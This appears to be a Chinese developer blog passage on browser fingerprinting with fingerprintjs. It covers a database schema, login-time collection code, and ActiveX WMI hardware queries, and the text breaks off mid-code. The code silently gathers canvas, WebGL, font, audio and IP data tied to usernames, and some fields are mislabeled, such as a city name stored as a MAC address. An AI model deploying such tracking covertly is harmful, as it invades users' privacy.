爱看书的阿东

赐他一块白色石头,石头上写着新名

如何获取浏览器访问信息?

如何使用javascript获取浏览器访问信息?

前言

​ 我们都知道我们进行web请求的时候,使用浏览器是可以获取到当前机器的访问信息的,目前市面上也有不少的工具或者API可以方便快速的获取用户的浏览器动态信息。整个过程比较简单,这里作为一次笔记进行简单记录。

需求

​ 使用前端的工具或者插件,获取起前端的浏览器信息,在登录的时候,将前端的信息发送到后台数据库进行存储。

组件地址:

​ 这里主要依赖的组件为fingerprintjs,能获取的内容算是比较详细的,用法也十分简单。

  • fingerprintjs:https://github.com/fingerprintjs/fingerprintjs

demo地址:https://tczmh.gitee.io/fingerprint2demo/

表设计

​ 下面根据具体需求构建一张对应的表:

字段名 字段说明 字段类型 字段长度 是否为空 备注
uuid 主键 varchar 255 主键
fingerprint 指纹ID varchar 255 指纹是每次请求的唯一id
clientTime 请求耗时 int 0 请求耗时
userAgent 用户代理 varchar 500
webdriver 网络驱动 varchar 50
language 语言 varchar 50
colorDepth 颜色深度 varchar 50
deviceMemory 设备内存 varchar 50
pixelRatio 像素比例 varchar 50
hardwareConcurrency 硬件并发 varchar 50 16
screenResolution 屏幕分辨率 varchar 50 长,宽
availableScreenResolution 可用屏幕分辨率 varchar 50 长,宽
timezoneOffset 时区偏移 varchar 50
timezone 时区 varchar 50
sessionStorage 是否开启会话存储 int 0 boolean,1为true,0为false
localStorage 是否开启本地存储 int 0 boolean,1为true,0为false
indexedDb 索引的Db int 0 boolean,1为true,0为false
addBehavior 是否存在增加行为 int 0 boolean,1为true,0为false
openDatabase 是否开启数据库 int 0 boolean,1为true,0为false
cpuClass cpu类 varchar 50 无案例数据,不明白具体含义
platform 平台 varchar 50
doNotTrack 不跟踪 varchar 50
plugins 浏览器插件 textarea 0 Chrome PDF Plugin;Chrome PDF Viewer;Native Client;
canvas 画布 textarea 0
webgl 网页 textarea 0
webglVendorAndRenderer webgl供应商和渲染器 varchar 1000
adBlock 分贝锁定 int 0 boolean,1为true,0为false
hasLiedLanguages 是否伪造语言 int 0 boolean,1为true,0为false
hasLiedResolution 是否伪造决议 int 0 boolean,1为true,0为false
hasLiedOs 是否伪造os int 0 boolean,1为true,0为false
hasLiedBrowser 是否伪造浏览器 int 0 boolean,1为true,0为false
touchSupport 触摸支持 int 0 较特殊,使用逗号分割
fonts 字体 textarea 0 支持字体
fontsFlash 字体Flash varchar 100 swf object not loaded
audio 媒体 varchar 100 124.0434753
enumerateDevices 枚举设备 textarea 0 d=;gid=5fd3caefe1a38ae1bc997527a026ffad
mineType 浏览器的MIME类型 int 0 1.2.3.4 RFC-822 Standard for ARPA Internet text messages RFC-2045 MIME Part 1: Format of Internet Message Bodies RFC-2046 MIME Part 2: Media Types RFC-2047 MIME Part 3: Header Extensions for Non-ASCII Text RFC-2048 MIME Part 4: Registration Procedures RFC-2049 MIME Part 5: Conformance Criteria and Examples
cookieEnable 浏览器的是否启用了cookie int 0 boolean,1为true,0为false
macAddr MAC地址 varchar 50 xxxx
ipAddr IP地址 varchar 50 xxxxx
systemTime 系统时间 varchar 200 Fri May 28 2021 11:07:46 GMT+0800 (中国标准时间)
enableMediaPalyer 是否有MediaPlayer int 0 boolean,1为true,0为false
enableRealPlayer 是否有realPlayer int 0 boolean,1为true,0为false
enableQuickTime 是否有quickTime int 0 boolean,1为true,0为false

下面是对应的sql-server的建表sql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
-- ----------------------------
-- Table structure for browser_frontend_info
-- ----------------------------
IF EXISTS (SELECT * FROM sys.all_objects WHERE object_id = OBJECT_ID(N'[dbo].[browser_frontend_info]') AND type IN ('U'))
DROP TABLE [dbo].[browser_frontend_info]
GO

CREATE TABLE [dbo].[browser_frontend_info] (
[uuid] varchar(255) COLLATE Chinese_PRC_CI_AS NOT NULL,
[fingerprint] varchar(100) COLLATE Chinese_PRC_CI_AS NULL,
[clientTime] int NULL,
[userAgent] text COLLATE Chinese_PRC_CI_AS NULL,
[webdriver] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[language] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[colorDepth] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[deviceMemory] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[pixelRatio] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[hardwareConcurrency] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[screenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[availableScreenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[timezoneOffset] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[timezone] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[sessionStorage] int NULL,
[localStorage] int NULL,
[indexedDb] int NULL,
[addBehavior] int NULL,
[openDatabase] int NULL,
[cpuClass] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[platform] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[doNotTrack] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[plugins] text COLLATE Chinese_PRC_CI_AS NULL,
[canvas] text COLLATE Chinese_PRC_CI_AS NULL,
[webgl] text COLLATE Chinese_PRC_CI_AS NULL,
[webglVendorAndRenderer] text COLLATE Chinese_PRC_CI_AS NULL,
[adBlock] int NULL,
[hasLiedLanguages] int NULL,
[hasLiedResolution] int NULL,
[hasLiedOs] int NULL,
[hasLiedBrowser] int NULL,
[touchSupport] int NULL,
[fonts] text COLLATE Chinese_PRC_CI_AS NULL,
[fontsFlash] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[audio] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[enumerateDevices] text COLLATE Chinese_PRC_CI_AS NULL,
[mineType] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[cookieEnable] int NULL,
[macAddr] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[ipAddr] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[systemTime] varchar(200) COLLATE Chinese_PRC_CI_AS NULL,
[enableMediaPalyer] int DEFAULT '' NULL,
[enableRealPlayer] int NULL,
[loginType] int NULL,
[merchNo] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[userName] varchar(255) COLLATE Chinese_PRC_CI_AS NULL
)
GO

ALTER TABLE [dbo].[browser_frontend_info] SET (LOCK_ESCALATION = TABLE)
GO

EXEC sp_addextendedproperty
'MS_Description', N'主键',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'uuid'
GO

EXEC sp_addextendedproperty
'MS_Description', N'指纹ID。指纹是每次请求的唯一id',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fingerprint'
GO

EXEC sp_addextendedproperty
'MS_Description', N'请求耗时',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'clientTime'
GO

EXEC sp_addextendedproperty
'MS_Description', N'用户代理',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'userAgent'
GO

EXEC sp_addextendedproperty
'MS_Description', N'网络驱动',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webdriver'
GO

EXEC sp_addextendedproperty
'MS_Description', N'语言',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'language'
GO

EXEC sp_addextendedproperty
'MS_Description', N'颜色深度',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'colorDepth'
GO

EXEC sp_addextendedproperty
'MS_Description', N'设备内存',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'deviceMemory'
GO

EXEC sp_addextendedproperty
'MS_Description', N'像素比例',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'pixelRatio'
GO

EXEC sp_addextendedproperty
'MS_Description', N'硬件并发',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hardwareConcurrency'
GO

EXEC sp_addextendedproperty
'MS_Description', N'屏幕分辨率',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'screenResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'可用屏幕分辨率',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'availableScreenResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'时区偏移',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'timezoneOffset'
GO

EXEC sp_addextendedproperty
'MS_Description', N'时区',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'timezone'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否开启会话存储',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'sessionStorage'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否开启本地存储',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'localStorage'
GO

EXEC sp_addextendedproperty
'MS_Description', N'索引的Db',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'indexedDb'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否存在增加行为',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'addBehavior'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造浏览器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'openDatabase'
GO

EXEC sp_addextendedproperty
'MS_Description', N'cpu类',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'cpuClass'
GO

EXEC sp_addextendedproperty
'MS_Description', N'平台',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'platform'
GO

EXEC sp_addextendedproperty
'MS_Description', N'不跟踪',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'doNotTrack'
GO

EXEC sp_addextendedproperty
'MS_Description', N'浏览器插件',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'plugins'
GO

EXEC sp_addextendedproperty
'MS_Description', N'画布',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'canvas'
GO

EXEC sp_addextendedproperty
'MS_Description', N'网页',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webgl'
GO

EXEC sp_addextendedproperty
'MS_Description', N'webgl供应商和渲染器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webglVendorAndRenderer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'分贝锁定',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'adBlock'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造语言',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedLanguages'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造决议',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造os',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedOs'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否伪造浏览器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedBrowser'
GO

EXEC sp_addextendedproperty
'MS_Description', N'触摸支持',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'touchSupport'
GO

EXEC sp_addextendedproperty
'MS_Description', N'字体',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fonts'
GO

EXEC sp_addextendedproperty
'MS_Description', N'字体Flash',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fontsFlash'
GO

EXEC sp_addextendedproperty
'MS_Description', N'媒体',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'audio'
GO

EXEC sp_addextendedproperty
'MS_Description', N'枚举设备',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enumerateDevices'
GO

EXEC sp_addextendedproperty
'MS_Description', N'浏览器的MIME类型',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'mineType'
GO

EXEC sp_addextendedproperty
'MS_Description', N'浏览器的是否启用了cookie',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'cookieEnable'
GO

EXEC sp_addextendedproperty
'MS_Description', N'MAC地址',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'macAddr'
GO

EXEC sp_addextendedproperty
'MS_Description', N'IP地址',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'ipAddr'
GO

EXEC sp_addextendedproperty
'MS_Description', N'系统时间',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'systemTime'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否有MediaPlayer',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enableMediaPalyer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'是否有realPlayer',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enableRealPlayer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'登录类型(1.商户,2.机构)',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'loginType'
GO

EXEC sp_addextendedproperty
'MS_Description', N'商户号',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'merchNo'
GO

EXEC sp_addextendedproperty
'MS_Description', N'用户名',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'userName'
GO


-- ----------------------------
-- Primary Key structure for table browser_frontend_info
-- ----------------------------
ALTER TABLE [dbo].[browser_frontend_info] ADD CONSTRAINT [PK__browser___7F427930F38BE804] PRIMARY KEY CLUSTERED ([uuid])
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON)
ON [PRIMARY]
GO




# 接入案例代码:

如果需要正常运行,需要引入对应的三方代码或者ip获取网址,这里用了搜狐的IP信息捕获:

​```java
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script type="text/javascript" th:src="@{/js/front/fingerprint2.min.js}"></script>

​ 下面是针对API使用的简单接入,组装报文JSON:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
function fingerDefaultConfig(){
let excludes = {};
excludes.userAgent = false;
excludes.audio = false;
excludes.enumerateDevices = false;
excludes.fonts = false;
excludes.fontsFlash = false;
excludes.webgl = false;
excludes.canvas = false;
return excludes;
}

/**
* 获取浏览器信息
*/
function getFingerInfo(){
const start = new Date().getTime();
let excludes = fingerDefaultConfig();
let options = {excludes: excludes};
var requestParam = {};
Fingerprint2.get(options, function (components) {
// 参数
const values = components.map(function (component) {
return component.value
});
// 指纹
requestParam['murmur'] = Fingerprint2.x64hash128(values.join(''), 31);
// 请求耗时
requestParam['time'] = (new Date().getTime() - start);
for (const c of components) {
requestParam[c['key']] = c['value'];
}
// 获取其他模组的参数
requestParam = otherRequestParam(requestParam);
requestParam = intenetInfo(requestParam);
requestParam = timeRequestParam(requestParam);
requestParam = userRequestParam(requestParam);
wrapParamAndStart(requestParam);
});

}

function timeRequestParam(requestParam){
requestParam['systemTime'] = new Date();
return requestParam;
}

/**
* 用户信息
*/
function userRequestParam(requestParam){
var loginType = $("#loginType").find('option:selected').val();
requestParam['loginType'] = loginType!=null && loginType!=undefined ? parseInt(loginType):1;
requestParam['merchNo'] = $("#InputMerNo").val()||'';
requestParam['userName'] = $("#InputUsername").val()||'';
return requestParam;

}

function otherRequestParam(requestParam){
var mimeType = navigator.mimeTypes; // 浏览器支持的所有MIME类型的数组
var cookieEnabled = navigator.cookieEnabled; // 返回用户浏览器是否启用了cookie
requestParam['mimeType'] = mimeType;
requestParam['cookieEnabled'] = cookieEnabled;
requestParam['enableMediaPalyer'] = checkePlugs("MediaPlayer");
requestParam['enableRealPlayer'] = checkePlugs("RealPlayer");
requestParam['enableQuickTime'] = checkePlugs("QuickTime");
return requestParam;
}

/**
* 网络信息获取
* @param requestParam
*/
function intenetInfo(requestParam){
requestParam['macAddr'] = returnCitySN["cname"];
requestParam['ipAddr'] = returnCitySN["cip"];
return requestParam;
}

//检查是否安装了某插件,如果安装了返回版本号
function checkePlugs(pluginname) {
var f = "-"
var plugins = navigator.plugins;
if (plugins.length > 0) {
for (i = 0; i < navigator.plugins.length; i++) {
if (navigator.plugins[i].name.indexOf(pluginname) >= 0) {
f = navigator.plugins[i].description.split(pluginname)[1];
return f;
break;
}
}
}
return false;
}

function wrapParamAndStart(requestParam) {
start(JSON.stringify(requestParam));
}

/**
* 前端抓取开启,根据使用的模块进行重写或者替换
*/
function start(info) {
$.ajax({
url : ROOT+"/front/record",
type : 'POST',
// async: false,
dataType : 'json',
data : info,
contentType:'application/json',
success : function(data) {

},
error : function(e) {

}
});

}

运行效果:

img

补充资料:

获取前端用户访问信息

​ 需要用户手动的开启权限,才可以进行正常的使用或者访问,同时这个对象主要为ie使用。

​ 实现方式:

var locator = new ActiveXObject("WbemScripting.SWbemLocator");

​ 参考博客: JavaScript 获取客户端计算机硬件及系统信息

获取摄像头信息

摄像头需要用户开启权限方可使用。

  • webcamjs:https://pixlcore.com/demos/webcamjs/demos/basic.html
  • 在网页当中进行拍照

WebcamJS 已经在下面的浏览器/系统中进行了测试:

OS Browser Notes
Mac OS X Chrome 30+ Works – Chrome 47+ requires HTTPS
Mac OS X Firefox 20+ Works
Mac OS X Safari 6+ Requires Adobe Flash Player
Windows Chrome 30+ Works – Chrome 47+ requires HTTPS
Windows Firefox 20+ Works
Windows IE 9 Requires Adobe Flash Player
Windows IE 10 Requires Adobe Flash Player
Windows IE 11 Requires Adobe Flash Player

录音

录音和摄像头信息一样,需要用户的授权。

  • https://github.com/xiangyuecn/Recorder

前端信息捕获html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title> New Document </title>
<meta name="viewport" content="width=device-width, initial-scale=1.0,user-scalable=no">
<meta name="Generator" content="EditPlus">
<meta name="Author" content="">
<meta name="Keywords" content="">
<meta charset="utf-8" />
<meta name="Description" content="">
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>



<script id=clientEventHandlersJS language=javascript>


/******************************************下为浏览器信息************************************************/
//获取浏览器相关信息
function allinfo() {
var appName = navigator.appName; //浏览器的正式名称
var appVersion = navigator.appVersion; //浏览器的版本号
var cookieEnabled = navigator.cookieEnabled; // 返回用户浏览器是否启用了cookie
var cpuClass = navigator.cpuClass; //返回用户计算机的cpu的型号,通常intel芯片返回"x86"(火狐没有)

var mimeType = navigator.mimeTypes; // 浏览器支持的所有MIME类型的数组
var platform = navigator.platform; // 浏览器正在运行的操作系统平台,包括Win16(windows3.x)
// Win32(windows98,Me,NT,2000,xp),Mac68K(Macintosh 680x0)
// 和MacPPC(Macintosh PowerPC)
var plugins = navigator.plugins; // 安装在浏览器上的所有插件的数组
var userLanguage = navigator.userLanguage; // 用户在自己的操作系统上设置的语言(火狐没有)
var userAgent = navigator.userAgent; //包含以下属性中所有或一部分的字符串:appCodeName,appName,appVersion,language,platform
var systemLanguage = navigator.systemLanguage; // 用户操作系统支持的默认语言(火狐没有)

var info = "<table border=1>";
var type = "";
if (isIe()) {
type = "IE浏览器";
} else if (isFireFox()) {
type = "火狐浏览器";
}
info += "<tr><td>浏览器类型:</td><td>" + type + "</td></tr>";

info += "<tr><td>浏览器属性信息:</td><td>" + userAgent + "</td></tr>";
info += "<tr><td>浏览器的正式名称:</td><td>" + appName + "</td></tr>";
info += "<tr><td>浏览器的版本号:</td><td>" + appVersion + "</td></tr>";
info += "<tr><td>浏览器的是否启用了cookie:</td><td>" + cookieEnabled + "</td></tr>";
info += "<tr><td>cpu等级:</td><td>" + cpuClass + "</td></tr>";
info += "<tr><td>浏览器的MIME类型:</td><td>" + mimeType.length + "</td></tr>";
info += "<tr><td>系统平台:</td><td>" + platform + "</td></tr>";
info += "<tr><td>安装的插件:</td><td>" + plugins + "</td></tr>";
info += "<tr><td>插件的数量:</td><td>" + plugins.length + "</td></tr>";
info += "<tr><td>插件的名称:</td><td>" + getPluginName() + "</td></tr>";
info += "<tr><td>用户设置的操作系统语言:</td><td>" + userLanguage + "</td></tr>";
info += "<tr><td>操作系统支持的默认语言:</td><td>" + systemLanguage + "</td></tr>";
info += "<tr><td>Director:</td><td>" + checkePlugs("Director") + "</td></tr>";
info += "<tr><td>javaEnabled:</td><td>" + navigator.javaEnabled() + "</td></tr>";
info += "<tr><td>是否有quickTime:</td><td>" + checkePlugs("QuickTime") + "</td></tr>";
info += "<tr><td>flash插件情况:</td><td>" + checkePlugs('Shockwave Flash') + "</td></tr>";
info += "<tr><td>是否有MediaPlayer:</td><td>" + checkePlugs("MediaPlayer") + "</td></tr>";
info += "<tr><td>是否有realPlayer:</td><td>" + checkePlugs("RealPlayer") + "</td></tr>";
info += "<tr><td>屏幕分辨率高度:</td><td>" + window.screen.height + "</td></tr>";
info += "<tr><td>屏幕分辨率宽度:</td><td>" + window.screen.width + "</td></tr>";
info += "<tr><td>颜色质量:</td><td>" + window.screen.colorDepth + "位</td></tr>";
info += "<tr><td>像素:</td><td>" + window.screen.deviceXDPI + "像素/英寸</td></tr>";
info += "<tr><td>字体是否平滑:</td><td>" + window.screen.fontSmoothingEnabled + "</td></tr>";
//info += "<tr><td>规定浏览器是否启用数据污点:</td><td>" + navigator.taintEnabled() + "</td></tr>";
info += "</table>";
document.getElementById("elInfo").innerHTML = info;
return info;

//director

var appCodeName = navigator.appCodeName; //与浏览器相关的内部代码名
var appMinorVersion = navigator.appMinorVersion; //辅版本号(通常应用于浏览器的补丁或服务包)

var language = navigator.language; //浏览器支持的语言 (IE没有)

var onLine = navigator.onLine; //返回浏览器是否处于在线模式(IE4以上版本)

var opsProfile = navigator.opsProfile; // 未定义 (IE、火狐没有)

var oscpu = navigator.oscpu; //浏览器正在运行的操作系统,其中可能有CPU的信息(IE没有)

var product = navigator.product; // 浏览器的产品名(IE没有)

var productSub = navigator.productSub; //关于浏览器更多信息(IE没有)

var securityPolicy = navigator.securityPolicy; // 浏览器支持的加密类型(IE没有)

var userProfile = navigator.userProfile; // 返回一个UserProfile对象,它存储用户的个人信息(火狐没有)

var vender = navigator.vender; // 浏览器厂商名称(IE、火狐没有)

var vendorSub = navigator.vendorSub; // 关于浏览器厂商更多的信息

}
//获取插件所有的名称
function getPluginName() {
var info = "";
var plugins = navigator.plugins;
if (plugins.length > 0) {
for (i = 0; i < navigator.plugins.length; i++) {
info += navigator.plugins[i].name + ";";
}
}
return info;
}
//检查是否安装了某插件,如果安装了返回版本号
function checkePlugs(pluginname) {
var f = "-"
var plugins = navigator.plugins;
if (plugins.length > 0) {
for (i = 0; i < navigator.plugins.length; i++) {
if (navigator.plugins[i].name.indexOf(pluginname) >= 0) {
f = navigator.plugins[i].description.split(pluginname)[1];
return f;
break;
}
}
}
return false;
}
//判断是否IE
function isIe() {
var i = navigator.userAgent.toLowerCase().indexOf("msie");
return i >= 0;
}
//判断是否firefox
function isFireFox() {
var i = navigator.userAgent.toLowerCase().indexOf("firefox");
return i >= 0;
}





/******************************************以上为浏览器信息,以下为pc信息************************************************/
var locator = new ActiveXObject("WbemScripting.SWbemLocator");
var service = locator.ConnectServer(".");

function cpuInfo() { //CPU 信息
var properties = service.ExecQuery("SELECT * FROM Win32_Processor");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450' >CPU 信息</td></tr>";
